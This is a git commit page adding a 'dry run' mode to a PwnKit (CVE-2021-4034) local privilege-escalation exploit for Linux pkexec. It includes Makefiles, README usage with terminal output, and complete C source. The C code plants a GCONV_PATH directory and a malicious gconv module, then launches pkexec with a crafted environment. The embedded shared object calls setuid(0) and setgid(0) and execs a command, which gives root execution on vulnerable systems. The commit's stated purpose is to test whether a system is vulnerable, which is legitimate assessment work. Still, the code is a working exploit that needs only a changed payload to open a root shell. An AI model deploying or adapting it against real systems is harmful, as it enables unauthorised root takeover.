Dry run
The dry run execution will test if the bug is exploitable.
This commit is contained in:
parent
de74c48b03
commit
89165e8be0
5
Makefile
5
Makefile
@ -7,6 +7,7 @@ all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
|
|||||||
.PHONY: clean
|
.PHONY: clean
|
||||||
clean:
|
clean:
|
||||||
rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
|
rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./
|
||||||
|
make -C dry-run clean
|
||||||
|
|
||||||
gconv-modules:
|
gconv-modules:
|
||||||
echo "module UTF-8// PWNKIT// pwnkit 1" > $@
|
echo "module UTF-8// PWNKIT// pwnkit 1" > $@
|
||||||
@ -18,3 +19,7 @@ gconvpath:
|
|||||||
|
|
||||||
pwnkit.so: pwnkit.c
|
pwnkit.so: pwnkit.c
|
||||||
$(CC) $(CFLAGS) --shared -fPIC -o $@ $<
|
$(CC) $(CFLAGS) --shared -fPIC -o $@ $<
|
||||||
|
|
||||||
|
.PHONY: dry-run
|
||||||
|
dry-run:
|
||||||
|
make -C dry-run
|
||||||
|
26
README.md
26
README.md
@ -33,6 +33,32 @@ See the pkexec manual page for more details.
|
|||||||
vagrant@ubuntu-impish:~/CVE-2021-4034$
|
vagrant@ubuntu-impish:~/CVE-2021-4034$
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Dry Run
|
||||||
|
To not execute a shell but just test if the system is vulnerable compile the `dry-run` target.
|
||||||
|
|
||||||
|
If the program exit printing "root" it means that your system is vulnerable to the exploit.
|
||||||
|
```bash
|
||||||
|
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
|
||||||
|
...
|
||||||
|
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
|
||||||
|
root
|
||||||
|
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
|
||||||
|
1
|
||||||
|
```
|
||||||
|
|
||||||
|
If your system is not vulnerable it prints an error and exit.
|
||||||
|
```bash
|
||||||
|
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
|
||||||
|
pkexec --version |
|
||||||
|
--help |
|
||||||
|
--disable-internal-agent |
|
||||||
|
[--user username] PROGRAM [ARGUMENTS...]
|
||||||
|
|
||||||
|
See the pkexec manual page for more details.
|
||||||
|
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
|
||||||
|
0
|
||||||
|
```
|
||||||
|
|
||||||
## About Polkit pkexec for Linux
|
## About Polkit pkexec for Linux
|
||||||
|
|
||||||
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
|
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
|
||||||
|
23
dry-run/Makefile
Normal file
23
dry-run/Makefile
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
TRUE=$(shell which true)
|
||||||
|
WHOAMI=$(shell which whoami)
|
||||||
|
|
||||||
|
CFLAGS=-Wall -DTRUE='"${TRUE}"' -DWHOAMI='"${WHOAMI}"'
|
||||||
|
|
||||||
|
.PHONY: all
|
||||||
|
all: dry-run-cve-2021-4034
|
||||||
|
|
||||||
|
.PHONY: clean
|
||||||
|
clean:
|
||||||
|
rm -rf dry-run-cve-2021-4034 pwnkit-dry-run.so_data.h pwnkit-dry-run.so
|
||||||
|
|
||||||
|
%.so: %.c
|
||||||
|
$(CC) $(CFLAGS) --shared -o $@ $<
|
||||||
|
|
||||||
|
%.so_data.h: %.so
|
||||||
|
echo "#ifndef __PWNKIT_SO_DATA_H" >$@
|
||||||
|
echo "#define __PWNKIT_SO_DATA_H" >>$@
|
||||||
|
xxd -i $< >>$@
|
||||||
|
echo "#endif" >>$@
|
||||||
|
|
||||||
|
dry-run-cve-2021-4034: dry-run-cve-2021-4034.c pwnkit-dry-run.so_data.h
|
||||||
|
$(CC) $(CFLAGS) -o $@ $<
|
171
dry-run/dry-run-cve-2021-4034.c
Normal file
171
dry-run/dry-run-cve-2021-4034.c
Normal file
@ -0,0 +1,171 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <dirent.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include "pwnkit-dry-run.so_data.h"
|
||||||
|
|
||||||
|
#define TESTDIR "/tmp/pwnkit-dry-run"
|
||||||
|
|
||||||
|
#define EXPLOITABLE_OR_ERROR 1
|
||||||
|
|
||||||
|
static int removedir(const char *path)
|
||||||
|
{
|
||||||
|
struct dirent *entry;
|
||||||
|
DIR *directory = opendir(path);
|
||||||
|
|
||||||
|
char filename[PATH_MAX + 1];
|
||||||
|
if (directory == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
while ((entry = readdir(directory)) != NULL) {
|
||||||
|
if (!strcmp(".", entry->d_name))
|
||||||
|
continue;
|
||||||
|
if (!strcmp("..", entry->d_name))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
snprintf(filename, PATH_MAX, "%s/%s", path, entry->d_name);
|
||||||
|
|
||||||
|
if (entry->d_type == DT_DIR)
|
||||||
|
removedir(filename);
|
||||||
|
else
|
||||||
|
remove(filename);
|
||||||
|
}
|
||||||
|
closedir(directory);
|
||||||
|
|
||||||
|
return remove(path);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int copyfile(const char *input, const char *output)
|
||||||
|
{
|
||||||
|
int ret = 0;
|
||||||
|
int ofd = 0;
|
||||||
|
FILE *in, *out;
|
||||||
|
unsigned char buffer[4096];
|
||||||
|
in = fopen(input, "rb");
|
||||||
|
if (in == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
ofd = open(output, O_WRONLY | O_CREAT, 0700);
|
||||||
|
if (ofd < 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
out = fdopen(ofd, "wb");
|
||||||
|
if (out == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
while (!feof(in) && !ferror(in) && !ferror(out)) {
|
||||||
|
int r = fread(buffer, 1, sizeof(buffer), in);
|
||||||
|
for (size_t i = 0 ; i < r && !ferror(in) && !ferror(out);) {
|
||||||
|
int w = fwrite(buffer + i, 1, sizeof(buffer) - i, out);
|
||||||
|
i += w;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = ferror(in) || ferror(out);
|
||||||
|
|
||||||
|
fclose(in);
|
||||||
|
fclose(out);
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int createandwritefile(const char *dest, const char *content)
|
||||||
|
{
|
||||||
|
FILE *f = fopen(dest, "w");
|
||||||
|
if (f == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
fprintf(f, "%s\n", content);
|
||||||
|
fclose(f);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int createsharedobjectpwnkit(const char *outputname)
|
||||||
|
{
|
||||||
|
int ret = 0;
|
||||||
|
int wrote = 0;
|
||||||
|
int fd;
|
||||||
|
FILE *f;
|
||||||
|
|
||||||
|
fd = open(outputname, O_WRONLY | O_CREAT, 0700);
|
||||||
|
if (fd < 0)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
f = fdopen(fd, "wb");
|
||||||
|
if (f == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
while (wrote < pwnkit_dry_run_so_len) {
|
||||||
|
int w = fwrite(pwnkit_dry_run_so + wrote, 1,
|
||||||
|
pwnkit_dry_run_so_len - wrote, f);
|
||||||
|
wrote += w;
|
||||||
|
}
|
||||||
|
|
||||||
|
ret = ferror(f);
|
||||||
|
fclose(f);
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
pid_t p;
|
||||||
|
int wstatus = 0;
|
||||||
|
int exitcode = EXPLOITABLE_OR_ERROR;
|
||||||
|
char * const args[] = {
|
||||||
|
NULL
|
||||||
|
};
|
||||||
|
char * const environ[] = {
|
||||||
|
"pwnkit.so:.",
|
||||||
|
"PATH=GCONV_PATH=.",
|
||||||
|
"SHELL=/lol/i/do/not/exists",
|
||||||
|
"CHARSET=PWNKIT",
|
||||||
|
"GIO_USE_VFS=",
|
||||||
|
NULL
|
||||||
|
};
|
||||||
|
|
||||||
|
mkdir(TESTDIR, 0750);
|
||||||
|
|
||||||
|
if (chdir(TESTDIR) != 0)
|
||||||
|
return EXPLOITABLE_OR_ERROR;
|
||||||
|
|
||||||
|
mkdir("GCONV_PATH=.", 0750);
|
||||||
|
|
||||||
|
if (copyfile(TRUE, "GCONV_PATH=./pwnkit.so:.") != 0)
|
||||||
|
return EXPLOITABLE_OR_ERROR;
|
||||||
|
|
||||||
|
if (createandwritefile("gconv-modules", "module UTF-8// PWNKIT// pwnkit 1") != 0)
|
||||||
|
return EXPLOITABLE_OR_ERROR;
|
||||||
|
|
||||||
|
if (createsharedobjectpwnkit("pwnkit.so"));
|
||||||
|
|
||||||
|
p = fork();
|
||||||
|
switch (p) {
|
||||||
|
case -1:
|
||||||
|
perror("fork");
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 0:
|
||||||
|
return execve("/usr/bin/pkexec", args, environ);
|
||||||
|
|
||||||
|
default:
|
||||||
|
wait(&wstatus);
|
||||||
|
while (!WIFEXITED(wstatus))
|
||||||
|
wait(&wstatus);
|
||||||
|
exitcode = WEXITSTATUS(wstatus);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
removedir(TESTDIR);
|
||||||
|
|
||||||
|
if (exitcode != 0)
|
||||||
|
return 1 - EXPLOITABLE_OR_ERROR;
|
||||||
|
|
||||||
|
return EXPLOITABLE_OR_ERROR;
|
||||||
|
}
|
||||||
|
|
16
dry-run/pwnkit-dry-run.c
Normal file
16
dry-run/pwnkit-dry-run.c
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void gconv(void) {
|
||||||
|
}
|
||||||
|
|
||||||
|
void gconv_init(void *step)
|
||||||
|
{
|
||||||
|
char * const args[] = { WHOAMI, NULL };
|
||||||
|
char * const environ[] = { NULL };
|
||||||
|
setuid(0);
|
||||||
|
setgid(0);
|
||||||
|
execve(args[0], args, environ);
|
||||||
|
exit(0);
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user